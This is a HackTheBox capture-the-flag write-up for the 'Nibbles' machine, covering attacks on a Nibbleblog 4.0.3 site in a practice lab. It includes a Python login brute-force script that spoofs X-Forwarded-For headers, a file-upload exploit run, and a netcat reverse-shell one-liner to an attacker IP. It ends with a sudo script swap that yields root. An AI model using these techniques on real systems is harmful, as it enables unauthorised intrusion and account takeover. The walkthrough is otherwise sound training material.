HackTheBox: Nibbles
linux nibbleblog brute-force ip-spoofing file-upload sudoNibbles is a Linux-based machine authored by mrb3n, with an average rating of 2.9 stars.
// Lessons Learned
- Spend more time trying ‘obvious’ default passwords (e.g. the name of the product), even if there isn’t an official one.
- Custom python scripts can be a more flexible & faster way of achieving Burp Intruder-type attacks (especially without a Professional licence).
// Recon
┌──(kali㉿kali)-[~/HTB/nibbles]
└─$ nmap -A -p- nibbles.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-07 08:45 AEST
Nmap scan report for nibbles.htb (10.10.10.75)
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.45 seconds
Nmap reveals the target is likely running Ubuntu Linux and hosting a minimal set of services:
- ssh on port
22
- http via
Apache 2.4.18
on port80
Accessing the webserver via browser returns the briefest of pages:
A closer inspection of the raw response however, identifies something more interesting:
HTTP/1.1 200 OK
Date: Wed, 06 Jul 2022 22:54:03 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 93
Connection: close
Content-Type: text/html
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Accessing this hidden /nibbleblog/
url returns a blog / CMS type page:
Exmaining the page source this time reveals several links to PHP pages:
<a href="/nibbleblog/index.php?controller=blog&action=view&category=uncategorised">Uncategorised</a>
as well as related sessions headers:
Set-Cookie: PHPSESSID=s64n5okl50kovqltuu4uja9m14; path=/
This gives us a better idea of the server-side languages available, which will likely be useful as we progress. Also within the source is a script tag with an interesting-looking path:
<script src="/nibbleblog/admin/js/jquery/jquery.js"></script>
If we attempt to browse to /nibbleblog/admin
, we’re able to access a directory listing of that folder, likely due to misconfiguration of the Apache mod_dir module that permits directory indexes:
Within these directories are the site’s .php
files, which could obviously tell us a lot about how the site functions. Unfortunately we can’t view the source of these files directly, since the server has been configured to process them server-side and deliver their output as response (which usually manifests as an error when unexpected requests are made):
There are however, a large number of .bit
files also available. Some reasearch indicates these files belong to a Bit project, a component-driven approach that tries to simplify software development. These files contain exactly the same kind of PHP code as the .php
files mentioned, but the distinction here is that their content is readable, as the server does not automatically process them:
It takes some searching to find anything relevant in the files, but eventually we get a hit in the /nibbleblog/admin/boot/rules/98-constants.bit
file:
This file confirms the site is using version 4.0.3
of the Nibbleblog framework. Searching with this data reveals an Arbitrary File Upload exploit, but only in an authenticated context.
// Initial Foothold
We do however now have enough information to download the full project code and examine it more easily for potential weaknesses, which is often a much faster process that pure blackbox testing. The install.php
file, for example, references an admin.php
url:
''=>'<a href="./admin.php">'.$blog_address.'admin.php</a>',
Visiting this url on the target presents us with an admin login page:
While Nibbleblog does not seem to have any default credentials, we can still try some obvious combinations (administrator / administrator
, admin / password
etc.) None of these seem to work, and after several failed attempts the target actually locks us out with the following error:
Nibbleblog security error - Blacklist protection
Searching through the CMS source code reveals the implementation of the blacklist in db_users.class.php
:
public function set_blacklist()
{
$ip = Net::get_user_ip();
$current_time = time();
$node = $this->xml->xpath('/users/blacklist[@ip="'.utf8_encode($ip).'"]');
// IP dosen't exist
if(empty($node))
{
if( count( $this->xml->users->blacklist ) >= BLACKLIST_SAVED_REQUESTS )
unset( $this->xml->users->blacklist[0] );
// Add the table
$node = $this->xml->addChild('blacklist','');
// Add the key
$node->addAttribute('ip', $ip);
// Add the registers
$node->addChild('date', $current_time);
$node->addChild('fail_count', 1);
error_log('Nibbleblog: Blacklist - New IP added - '.$ip);
}
...
The CMS appears to be using IP-based blacklisting for failed login attempts. The user’s IP is determined by calling Net::get_user_ip()
, which is implemented in net.class.php
:
public static function get_user_ip()
{
if(getenv('HTTP_X_FORWARDED_FOR'))
$ip = getenv('HTTP_X_FORWARDED_FOR');
elseif(getenv('HTTP_CLIENT_IP'))
$ip = getenv('HTTP_CLIENT_IP');
else
$ip = getenv('REMOTE_ADDR');
if(filter_var($ip, FILTER_VALIDATE_IP))
return $ip;
return getenv('REMOTE_ADDR');
}
The function will check a sequence of variables to determine the IP, taking whichever is first available. The initial check is for an environment variable HTTP_X_FORWARDED_FOR
, which is often the equivalent of the the X-Forwarded-For HTTP Header. This suggests that, as long as we provide a valid IP address to satisfy the FILTER_VALIDATE_IP
filter being used, the blacklist protection can be bypassed by supplying a constantly changing X-Forwarded-For
header. This opens the server up to potential brute-force attacks, whereby a large number of possible logins can be attempted in a short period of time.
Such attacks are usually most successful (and much faster) if a username is already known. Searching through the source code further reveals there should be a list of users available as an XML file somewhere on the target:
# install.php
$xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>';
$xml .= '<users>';
$xml .= '</users>';
$obj = new NBXML($xml, 0, FALSE, '', FALSE);
$node = $obj->addGodChild('user', array('username'=>$_POST['username']));
$node->addChild('id', 0);
$node->addChild('session_fail_count', 0);
$node->addChild('session_date', 0);
$obj->asXml( FILE_XML_USERS );
FILE_XML_USERS
is a constant defined in 1-fs_php.bit
as:
define('FILE_XML_USERS', PATH_PRIVATE . 'users.xml');
From here, we just need to follow the chain of path definitions up to find the likely directory:
define('PATH_PRIVATE', PATH_CONTENT.'private/');
...
define('PATH_CONTENT', './content/');
This suggests that we should visit to http://nibbles.htb/nibbleblog/content/private/users.xml
to access the user list. When we do, there is only one username defined:
Now that the username admin
has been identified, we can implement a brute-force solution. Tools like Burp Intruder usually make this quite easy, but there are a couple of reasons to write a custom solution here:
- a large number of passwords may need to be attempted, and each will require a unique forged IP address. Burp doesn’t seem to carry this kind of IP-incrementing behaviour (at least not in Intruder) so if we needed to brute force a thousand passwords, for example, we would need a file with a thousand unique IP addresses.
- unless running Burp Professional, there is inbuilt rate-limiting applied to intruder attacks. This makes large wordlists very slow to execute.
Thankfully, writing a solution in python using asynchronous requests is relatively straightforward:
import httpx
import asyncio
client = httpx.AsyncClient(proxies="http://localhost:8080")
limit = asyncio.Semaphore(4)
async def check_password(headers, payload):
async with limit:
resp = await client.post("http://nibbles.htb/nibbleblog/admin.php", headers=headers, data=payload)
if "Incorrect username or password" in resp.text:
check = 'invalid password'
else:
check = 'password found'
outcome = {"client": headers["X-Forwarded-For"], "status": resp.status_code,
"size": len(resp.text), "result": check, "password": payload['password']}
print(outcome)
return outcome
# Prepare a request for each password, with an accompanying unique IP
async def prepare_requests():
tasks = []
# Initial address
ip = [192, 168, 0, 1]
with open("nmap.lst", "r") as f:
for line in f:
# Prepare address
if ip[3] == 255:
# increment third octet, restart fourth
ip[2] += 1
ip[3] = 1
headers = {
'X-Forwarded-For': ".".join(map(str, ip))
}
ip[3] += 1
payload = {
'username': 'admin',
'password': line.strip()
}
tasks.append(asyncio.create_task(check_password(headers, payload)))
print("awaiting responses:")
all_tasks = await asyncio.gather(*tasks)
print("done")
if __name__ == "__main__":
asyncio.run(prepare_requests())
This script generates a new request for each password in the supplied list (nmap.lst from /usr/share/wordlists
in Kali Linux) and pairs it with a unique IP. The IP handling code is capable of generating unique addresses for each request, while still keeping them valid. The wordlist used contains 5000 passwords, but the script can complete the task in less than 10 minutes (faster performance is probably possible by removing the use of Sempahore
, but an initial run using unrestricted requests had the effect of overwhelming the server and it started returning 500
errors). At the end, our script log contains what we’re after:
{'client': '192.168.51.79', 'status': 302, 'size': 0, 'result': 'password found', 'password': 'nibbles'}
A password that matches the software in use is so common that it really should have been manually attempted to begin with, rather than jumping to an immediate scripted brute-force attack. Live and learn. With the login retrieved we can now access the admin page:
There isn’t much available through the UI, except for confirming that the list of installed plugins includes my_image
, which is required for the file upload exploit to work. Execution is straightforward, in this case a basically php-based webshell shell.php
is being uploaded:
┌──(kali㉿kali)-[~/github/dix0nym/CVE-2015-6967]
└─$ python exploit.py --url http://nibbles.htb/nibbleblog/ --username admin --password nibbles --payload ~/HTB/nibbles/she
ll.php
[+] Login Successful.
[+] Upload likely successfull.
[+] Exploit launched, check for shell.
The resulting path of the shell is not immediately obvious, but a similar exploit on PacketStorm confirms the path we’re looking for is /nibbleblog/content/private/plugins/my_image/image.php
:
which bsd
confirms that BSD-style netcat is installed on the system. This can be used to establish a reverse shell to Penelope running as a listener on the attack box:
# through webshell
mkfifo /tmp/lol; nc 10.10.17.230 443 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol
# on attack box
┌──(kali㉿kali)-[~/github/brightio/penelope]
└─$ python penelope.py 443
[+] Listening for reverse shells on 0.0.0.0 🚪443
[+] Got reverse shell from 🐧 nibbles.htb~10.10.10.75 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/nibbles.htb~10.10.10.75/nibbles.htb~10.10.10.75.log 📜
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
From here, we can navigate to the /home
folder and retrieve the user flag:
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
nibbler@Nibbles:/home$ ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
99488***************************
// Privilege Escalation
Only basic enumeration is required to identify the path to root runs through sudo
:
nibbler@Nibbles:/home/nibbler$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Our user is able to run the /home/nibbler/personal/stuff/monitor.sh
script as root, and the file itself is world-writeable once personal.zip
is decompressed:
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ ls -l personal/stuff/monitor.sh
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 personal/stuff/monitor.sh
The monitor.sh
script looks to perform some kind of server monitoring. It could be edited directly, or we can just move it aside and create a replacement that provides a root shell:
nibbler@Nibbles:/home/nibbler/personal/stuff$ mv monitor.sh monitor.sh.bkp
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo -e '#!/bin/bash\n/bin/sh -i' > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
Executing the script via sudo is the final step, allowing retrieval of the root flag:
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
# whoami
root
# cd ~root
# cat root.txt
573cf***************************